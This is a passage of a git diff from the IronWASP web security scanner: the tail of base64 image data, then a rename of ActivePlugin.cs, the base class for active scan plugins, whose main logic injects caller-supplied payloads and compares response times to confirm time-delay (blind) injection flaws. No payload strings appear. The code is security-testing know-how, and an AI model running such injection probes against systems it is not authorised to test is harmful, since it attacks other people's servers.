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 + + + \ No newline at end of file diff --git a/IronWASP/ActivePlugin.cs b/Iron/ActivePlugin.cs similarity index 97% rename from IronWASP/ActivePlugin.cs rename to Iron/ActivePlugin.cs index 0594994..e6884e5 100644 --- a/IronWASP/ActivePlugin.cs +++ b/Iron/ActivePlugin.cs @@ -1,306 +1,306 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using System.Threading; - -namespace IronWASP -{ - public class ActivePlugin : Plugin - { - internal static List Collection = new List(); - - internal Scanner Scnr; - - internal Request BaseRequest; - internal Response BaseResponse; - internal int ConfidenceLevel = 0; - - internal List RequestTriggers = new List(); - internal List ResponseTriggers = new List(); - internal List RequestTriggerDescs = new List(); - internal List ResponseTriggerDescs = new List(); - internal List TriggerRequests = new List(); - internal List TriggerResponses = new List(); - - internal List Reasons = new List(); - - internal int AvgBaseRoundTrip = -1; - - public virtual void Check(Scanner Scan) - { - - } - - public virtual ActivePlugin GetInstance() - { - return new ActivePlugin(); - } - - public static void Add(ActivePlugin AP) - { - if ((AP.Name.Length > 0) && !(AP.Name.Equals("All") || AP.Name.Equals("None"))) - { - if (!List().Contains(AP.Name)) - { - if (AP.FileName != "Internal") - { - AP.FileName = PluginEngine.FileName; - } - Collection.Add(AP); - } - } - } - - public static List List() - { - List Names = new List(); - foreach (ActivePlugin AP in Collection) - { - Names.Add(AP.Name); - } - return Names; - } - - public static ActivePlugin Get(string Name) - { - foreach (ActivePlugin AP in Collection) - { - if (AP.Name.Equals(Name)) - { - ActivePlugin NewInstance = AP.GetInstance(); - NewInstance.FileName = AP.FileName; - return NewInstance; - } - } - return null; - } - - internal static void Remove(string Name) - { - int PluginIndex = 0; - for (int i = 0; i < Collection.Count; i++) - { - if (Collection[i].Name.Equals(Name)) - { - PluginIndex = i; - break; - } - } - Collection.RemoveAt(PluginIndex); - } - - public delegate string PayloadGenerator(int TimeValueInMilliSeconds, object OtherInfo); - - public TimeBasedCheckResults DoTimeDelayBasedCheck(PayloadGenerator PayloadGen, object OtherInfo) - { - if (this.AvgBaseRoundTrip < 0) - { - this.Scnr.Trace(">Sending two requests to find out the normal roundtrip time to be used as baseline>"); - //Let's first check the time taken for non-delay payloads - string NonDelayPayload = PayloadGen(0, OtherInfo); - - Response BaseRes1 = this.Scnr.Inject(NonDelayPayload); - Response BaseRes2 = this.Scnr.Inject(NonDelayPayload); - - this.AvgBaseRoundTrip = (BaseRes1.RoundTrip + BaseRes2.RoundTrip) / 2; - this.Scnr.Trace(string.Format(">The roundtrip values of the two requests were {0}ms and {1}ms. Their average {2}ms is being used as baseline.>", BaseRes1.RoundTrip, BaseRes2.RoundTrip, this.AvgBaseRoundTrip)); - } - - return DoTimeDelayBasedCheck(PayloadGen, OtherInfo, this.AvgBaseRoundTrip); - } - - public TimeBasedCheckResults DoTimeDelayBasedCheck(PayloadGenerator PayloadGen, object OtherInfo, int AverageBaseRoundTrip) - { - TimeBasedCheckResults TimeCheckResults = new TimeBasedCheckResults(); - TimeCheckResults.Success = false; - - int DelayTime = 5000; - if (AverageBaseRoundTrip * 2 > DelayTime) - { - DelayTime = AverageBaseRoundTrip * 2; - } - - string DelayPayload = PayloadGen(DelayTime, OtherInfo); - this.Scnr.RequestTrace(string.Format(" Injected payload - {0}", DelayPayload)); - Response DelayRes = this.Scnr.Inject(DelayPayload); - - if (DelayRes.RoundTrip < DelayTime) - { - this.Scnr.ResponseTrace(string.Format(" ==> Response roundtrip is {0}ms which is less than the {1}ms delay induced in the payload.", DelayRes.RoundTrip, DelayTime)); - return TimeCheckResults; - } - else - { - this.Scnr.ResponseTrace(string.Format(" ==> Response roundtrip is {0}ms which is more than the {1}ms delay induced in the payload.", DelayRes.RoundTrip, DelayTime)); - this.Scnr.Trace(">Doing further checks to determine if this delay was valid or a false positive>"); - } - - List SmallDelays = new List(); - List BigDelays = new List(); - int BiggestDelay = 0; - Request DelayRequest=null; - Response DelayResponse=null; - - int SmallDelayTime = 1000; - string SmallDelayPayload = PayloadGen(SmallDelayTime, OtherInfo); - foreach (int i in new int[] { 0, 1, 2 }) - { - Thread.Sleep(2000);//To help the server recover from big delay - this.Scnr.RequestTrace(string.Format(" Injected payload - {0}", SmallDelayPayload)); - SmallDelays.Add(this.Scnr.Inject(SmallDelayPayload).RoundTrip); - if (SmallDelays[i] < SmallDelayTime) - { - this.Scnr.ResponseTrace(string.Format(" ==> Response roundtrip is {0}ms which is less than the {1}ms delay induced in the payload.", SmallDelays[i], SmallDelayTime)); - this.Scnr.Trace(">Concluding that the earlier delays were False Positives>"); - return TimeCheckResults; - } - else - { - this.Scnr.ResponseTrace(string.Format(" ==> Response roundtrip is {0}ms which is more than the {1}ms delay induced in the payload.", SmallDelays[i], SmallDelayTime)); - } - - Thread.Sleep(1000);//To help the server recover from small delay - this.Scnr.RequestTrace(string.Format(" Injected payload - {0}", DelayPayload)); - Response Res = this.Scnr.Inject(DelayPayload); - if (Res.RoundTrip >= BiggestDelay) - { - BiggestDelay = Res.RoundTrip; - DelayRequest = this.Scnr.InjectedRequest.GetClone(); - DelayResponse = Res; - } - BigDelays.Add(Res.RoundTrip); - if (BigDelays[i] < DelayTime) - { - this.Scnr.ResponseTrace(string.Format(" ==> Response roundtrip is {0}ms which is less than the {1}ms delay induced in the payload.", BigDelays[i], DelayTime)); - this.Scnr.Trace(">Concluding that the earlier delays were False Positives>"); - return TimeCheckResults; - } - else - { - this.Scnr.ResponseTrace(string.Format(" ==> Response roundtrip is {0}ms which is more than the {1}ms delay induced in the payload.", BigDelays[i], DelayTime)); - } - } - - //Analyze small delays to confirm if this is vulnerable - int SmallDelayTimeDiffSuccessCount = 0; - foreach (int i in new int[] { 0, 1, 2 }) - { - if ((BigDelays[i] - DelayTime) >= (SmallDelays[i] - SmallDelayTime)) - { - SmallDelayTimeDiffSuccessCount++; - } - } - if (SmallDelayTimeDiffSuccessCount == 3) - { - this.Scnr.Trace(string.Format(">The 3 responses for the payload that induced a delay of {0}ms consistently took atleast {1}ms less than the 3 responses for the payload that induced a delay of {2}ms.>", SmallDelayTime, DelayTime - SmallDelayTime ,DelayTime)); - this.Scnr.Trace(">This strongly indicates that the payloads are causing the delays and they are not false positives.>"); - TimeCheckResults.DelayPayload = DelayPayload; - TimeCheckResults.DelayInduced = DelayTime; - TimeCheckResults.DelayObserved = BiggestDelay; - TimeCheckResults.DelayRequest = DelayRequest; - TimeCheckResults.DelayResponse = DelayResponse; - TimeCheckResults.Confidence = FindingConfidence.High; - TimeCheckResults.AverageBaseTime = this.AvgBaseRoundTrip; - TimeCheckResults.Success = true; - return TimeCheckResults; - //Time delay successful high confidence - } - - SmallDelayTimeDiffSuccessCount = 0; - foreach (int i in new int[] { 0, 1, 2 }) - { - if ((BigDelays[i] - (DelayTime - 1000)) >= (SmallDelays[i] - SmallDelayTime)) - { - SmallDelayTimeDiffSuccessCount++; - } - } - if (SmallDelayTimeDiffSuccessCount == 3) - { - this.Scnr.Trace(string.Format(">The 3 responses where a delay of {0}ms was induced consistently took atleast {1}ms less than the 3 responses where {2}ms delay was induced.>", SmallDelayTime, DelayTime - 1000 - SmallDelayTime, DelayTime)); - this.Scnr.Trace(">This strongly indicates that the payloads are causing the delays and they are not false positives.>"); - TimeCheckResults.DelayPayload = DelayPayload; - TimeCheckResults.DelayInduced = DelayTime; - TimeCheckResults.DelayObserved = BiggestDelay; - TimeCheckResults.DelayRequest = DelayRequest; - TimeCheckResults.DelayResponse = DelayResponse; - TimeCheckResults.Confidence = FindingConfidence.Medium; - TimeCheckResults.AverageBaseTime = this.AvgBaseRoundTrip; - TimeCheckResults.Success = true; - return TimeCheckResults; - //Time delay successful medium confidence - } - - SmallDelayTimeDiffSuccessCount = 0; - foreach (int i in new int[] { 0, 1, 2 }) - { - if ((BigDelays[i] - DelayTime / 2) >= (SmallDelays[i] - SmallDelayTime)) - { - SmallDelayTimeDiffSuccessCount++; - } - } - if (SmallDelayTimeDiffSuccessCount == 3) - { - this.Scnr.Trace(string.Format(">The 3 responses where a delay of {0}ms was induced consistently took atleast {1}ms less than the 3 responses where {2}ms delay was induced.>", SmallDelayTime, (DelayTime/2)-SmallDelayTime, DelayTime)); - this.Scnr.Trace(">This strongly indicates that the payloads are causing the delays and they are not false positives.>"); - TimeCheckResults.DelayPayload = DelayPayload; - TimeCheckResults.DelayInduced = DelayTime; - TimeCheckResults.DelayObserved = BiggestDelay; - TimeCheckResults.DelayRequest = DelayRequest; - TimeCheckResults.DelayResponse = DelayResponse; - TimeCheckResults.Confidence = FindingConfidence.Low; - TimeCheckResults.AverageBaseTime = this.AvgBaseRoundTrip; - TimeCheckResults.Success = true; - return TimeCheckResults; - //Time delay successful low confidence - } - this.Scnr.Trace(">There were no consistent delays based on the injected payloads, so concluding that the earlier delays were false positives.>"); - return TimeCheckResults; - } - - public string GetFindingOpeningDesc(string FindingName) - { - StringBuilder SB = new StringBuilder(); - SB.Append(FindingName); - SB.Append(" was identified in the "); - if (this.Scnr.InjectedSection == "URL") - { - SB.Append(string.Format(">>{0}>>th position of the URL path section of the scanned request.", this.Scnr.InjectedUrlPathPosition)); - } - else - { - SB.Append(string.Format(">>{0}>> parameter of the >>{1}>> section of the scanned request.", this.Scnr.InjectedParameter, this.Scnr.InjectedSection)); - } - return SB.ToString(); - } - } - - public class TimeBasedCheckResults - { - public bool Success = false; - public FindingConfidence Confidence = FindingConfidence.Low; - public int AverageBaseTime = 0; - public int DelayInduced = 0; - public int DelayObserved = 0; - public string DelayPayload = ""; - public Request DelayRequest; - public Response DelayResponse; - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using System.Threading; + +namespace IronWASP +{ + public class ActivePlugin : Plugin + { + internal static List Collection = new List(); + + internal Scanner Scnr; + + internal Request BaseRequest; + internal Response BaseResponse; + internal int ConfidenceLevel = 0; + + internal List RequestTriggers = new List(); + internal List ResponseTriggers = new List(); + internal List RequestTriggerDescs = new List(); + internal List ResponseTriggerDescs = new List(); + internal List TriggerRequests = new List(); + internal List TriggerResponses = new List(); + + internal List Reasons = new List(); + + internal int AvgBaseRoundTrip = -1; + + public virtual void Check(Scanner Scan) + { + + } + + public virtual ActivePlugin GetInstance() + { + return new ActivePlugin(); + } + + public static void Add(ActivePlugin AP) + { + if ((AP.Name.Length > 0) && !(AP.Name.Equals("All") || AP.Name.Equals("None"))) + { + if (!List().Contains(AP.Name)) + { + if (AP.FileName != "Internal") + { + AP.FileName = PluginEngine.FileName; + } + Collection.Add(AP); + } + } + } + + public static List List() + { + List Names = new List(); + foreach (ActivePlugin AP in Collection) + { + Names.Add(AP.Name); + } + return Names; + } + + public static ActivePlugin Get(string Name) + { + foreach (ActivePlugin AP in Collection) + { + if (AP.Name.Equals(Name)) + { + ActivePlugin NewInstance = AP.GetInstance(); + NewInstance.FileName = AP.FileName; + return NewInstance; + } + } + return null; + } + + internal static void Remove(string Name) + { + int PluginIndex = 0; + for (int i = 0; i < Collection.Count; i++) + { + if (Collection[i].Name.Equals(Name)) + { + PluginIndex = i; + break; + } + } + Collection.RemoveAt(PluginIndex); + } + + public delegate string PayloadGenerator(int TimeValueInMilliSeconds, object OtherInfo); + + public TimeBasedCheckResults DoTimeDelayBasedCheck(PayloadGenerator PayloadGen, object OtherInfo) + { + if (this.AvgBaseRoundTrip < 0) + { + this.Scnr.Trace(">Sending two requests to find out the normal roundtrip time to be used as baseline>"); + //Let's first check the time taken for non-delay payloads + string NonDelayPayload = PayloadGen(0, OtherInfo); + + Response BaseRes1 = this.Scnr.Inject(NonDelayPayload); + Response BaseRes2 = this.Scnr.Inject(NonDelayPayload); + + this.AvgBaseRoundTrip = (BaseRes1.RoundTrip + BaseRes2.RoundTrip) / 2; + this.Scnr.Trace(string.Format(">The roundtrip values of the two requests were {0}ms and {1}ms. Their average {2}ms is being used as baseline.>", BaseRes1.RoundTrip, BaseRes2.RoundTrip, this.AvgBaseRoundTrip)); + } + + return DoTimeDelayBasedCheck(PayloadGen, OtherInfo, this.AvgBaseRoundTrip); + } + + public TimeBasedCheckResults DoTimeDelayBasedCheck(PayloadGenerator PayloadGen, object OtherInfo, int AverageBaseRoundTrip) + { + TimeBasedCheckResults TimeCheckResults = new TimeBasedCheckResults(); + TimeCheckResults.Success = false; + + int DelayTime = 5000; + if (AverageBaseRoundTrip * 2 > DelayTime) + { + DelayTime = AverageBaseRoundTrip * 2; + } + + string DelayPayload = PayloadGen(DelayTime, OtherInfo); + this.Scnr.RequestTrace(string.Format(" Injected payload - {0}", DelayPayload)); + Response DelayRes = this.Scnr.Inject(DelayPayload); + + if (DelayRes.RoundTrip < DelayTime) + { + this.Scnr.ResponseTrace(string.Format(" ==> Response roundtrip is {0}ms which is less than the {1}ms delay induced in the payload.", DelayRes.RoundTrip, DelayTime)); + return TimeCheckResults; + } + else + { + this.Scnr.ResponseTrace(string.Format(" ==> Response roundtrip is {0}ms which is more than the {1}ms delay induced in the payload.", DelayRes.RoundTrip, DelayTime)); + this.Scnr.Trace(">Doing further checks to determine if this delay was valid or a false positive>"); + } + + List SmallDelays = new List(); + List BigDelays = new List(); + int BiggestDelay = 0; + Request DelayRequest=null; + Response DelayResponse=null; + + int SmallDelayTime = 1000; + string SmallDelayPayload = PayloadGen(SmallDelayTime, OtherInfo); + foreach (int i in new int[] { 0, 1, 2 }) + { + Thread.Sleep(2000);//To help the server recover from big delay + this.Scnr.RequestTrace(string.Format(" Injected payload - {0}", SmallDelayPayload)); + SmallDelays.Add(this.Scnr.Inject(SmallDelayPayload).RoundTrip); + if (SmallDelays[i] < SmallDelayTime) + { + this.Scnr.ResponseTrace(string.Format(" ==> Response roundtrip is {0}ms which is less than the {1}ms delay induced in the payload.", SmallDelays[i], SmallDelayTime)); + this.Scnr.Trace(">Concluding that the earlier delays were False Positives>"); + return TimeCheckResults; + } + else + { + this.Scnr.ResponseTrace(string.Format(" ==> Response roundtrip is {0}ms which is more than the {1}ms delay induced in the payload.", SmallDelays[i], SmallDelayTime)); + } + + Thread.Sleep(1000);//To help the server recover from small delay + this.Scnr.RequestTrace(string.Format(" Injected payload - {0}", DelayPayload)); + Response Res = this.Scnr.Inject(DelayPayload); + if (Res.RoundTrip >= BiggestDelay) + { + BiggestDelay = Res.RoundTrip; + DelayRequest = this.Scnr.InjectedRequest.GetClone(); + DelayResponse = Res; + } + BigDelays.Add(Res.RoundTrip); + if (BigDelays[i] < DelayTime) + { + this.Scnr.ResponseTrace(string.Format(" ==> Response roundtrip is {0}ms which is less than the {1}ms delay induced in the payload.", BigDelays[i], DelayTime)); + this.Scnr.Trace(">Concluding that the earlier delays were False Positives>"); + return TimeCheckResults; + } + else + { + this.Scnr.ResponseTrace(string.Format(" ==> Response roundtrip is {0}ms which is more than the {1}ms delay induced in the payload.", BigDelays[i], DelayTime)); + } + } + + //Analyze small delays to confirm if this is vulnerable + int SmallDelayTimeDiffSuccessCount = 0; + foreach (int i in new int[] { 0, 1, 2 }) + { + if ((BigDelays[i] - DelayTime) >= (SmallDelays[i] - SmallDelayTime)) + { + SmallDelayTimeDiffSuccessCount++; + } + } + if (SmallDelayTimeDiffSuccessCount == 3) + { + this.Scnr.Trace(string.Format(">The 3 responses for the payload that induced a delay of {0}ms consistently took atleast {1}ms less than the 3 responses for the payload that induced a delay of {2}ms.>", SmallDelayTime, DelayTime - SmallDelayTime ,DelayTime)); + this.Scnr.Trace(">This strongly indicates that the payloads are causing the delays and they are not false positives.>"); + TimeCheckResults.DelayPayload = DelayPayload; + TimeCheckResults.DelayInduced = DelayTime; + TimeCheckResults.DelayObserved = BiggestDelay; + TimeCheckResults.DelayRequest = DelayRequest; + TimeCheckResults.DelayResponse = DelayResponse; + TimeCheckResults.Confidence = FindingConfidence.High; + TimeCheckResults.AverageBaseTime = this.AvgBaseRoundTrip; + TimeCheckResults.Success = true; + return TimeCheckResults; + //Time delay successful high confidence + } + + SmallDelayTimeDiffSuccessCount = 0; + foreach (int i in new int[] { 0, 1, 2 }) + { + if ((BigDelays[i] - (DelayTime - 1000)) >= (SmallDelays[i] - SmallDelayTime)) + { + SmallDelayTimeDiffSuccessCount++; + } + } + if (SmallDelayTimeDiffSuccessCount == 3) + { + this.Scnr.Trace(string.Format(">The 3 responses where a delay of {0}ms was induced consistently took atleast {1}ms less than the 3 responses where {2}ms delay was induced.>", SmallDelayTime, DelayTime - 1000 - SmallDelayTime, DelayTime)); + this.Scnr.Trace(">This strongly indicates that the payloads are causing the delays and they are not false positives.>"); + TimeCheckResults.DelayPayload = DelayPayload; + TimeCheckResults.DelayInduced = DelayTime; + TimeCheckResults.DelayObserved = BiggestDelay; + TimeCheckResults.DelayRequest = DelayRequest; + TimeCheckResults.DelayResponse = DelayResponse; + TimeCheckResults.Confidence = FindingConfidence.Medium; + TimeCheckResults.AverageBaseTime = this.AvgBaseRoundTrip; + TimeCheckResults.Success = true; + return TimeCheckResults; + //Time delay successful medium confidence + } + + SmallDelayTimeDiffSuccessCount = 0; + foreach (int i in new int[] { 0, 1, 2 }) + { + if ((BigDelays[i] - DelayTime / 2) >= (SmallDelays[i] - SmallDelayTime)) + { + SmallDelayTimeDiffSuccessCount++; + } + } + if (SmallDelayTimeDiffSuccessCount == 3) + { + this.Scnr.Trace(string.Format(">The 3 responses where a delay of {0}ms was induced consistently took atleast {1}ms less than the 3 responses where {2}ms delay was induced.>", SmallDelayTime, (DelayTime/2)-SmallDelayTime, DelayTime)); + this.Scnr.Trace(">This strongly indicates that the payloads are causing the delays and they are not false positives.>"); + TimeCheckResults.DelayPayload = DelayPayload; + TimeCheckResults.DelayInduced = DelayTime; + TimeCheckResults.DelayObserved = BiggestDelay; + TimeCheckResults.DelayRequest = DelayRequest; + TimeCheckResults.DelayResponse = DelayResponse; + TimeCheckResults.Confidence = FindingConfidence.Low; + TimeCheckResults.AverageBaseTime = this.AvgBaseRoundTrip; + TimeCheckResults.Success = true; + return TimeCheckResults; + //Time delay successful low confidence + } + this.Scnr.Trace(">There were no consistent delays based on the injected payloads, so concluding that the earlier delays were false positives.>"); + return TimeCheckResults; + } + + public string GetFindingOpeningDesc(string FindingName) + { + StringBuilder SB = new StringBuilder(); + SB.Append(FindingName); + SB.Append(" was identified in the "); + if (this.Scnr.InjectedSection == "URL") + { + SB.Append(string.Format(">>{0}>>th position of the URL path section of the scanned request.", this.Scnr.InjectedUrlPathPosition)); + } + else + { + SB.Append(string.Format(">>{0}>> parameter of the >>{1}>> section of the scanned request.", this.Scnr.InjectedParameter, this.Scnr.InjectedSection)); + } + return SB.ToString(); + } + } + + public class TimeBasedCheckResults + { + public bool Success = false; + public FindingConfidence Confidence = FindingConfidence.Low; + 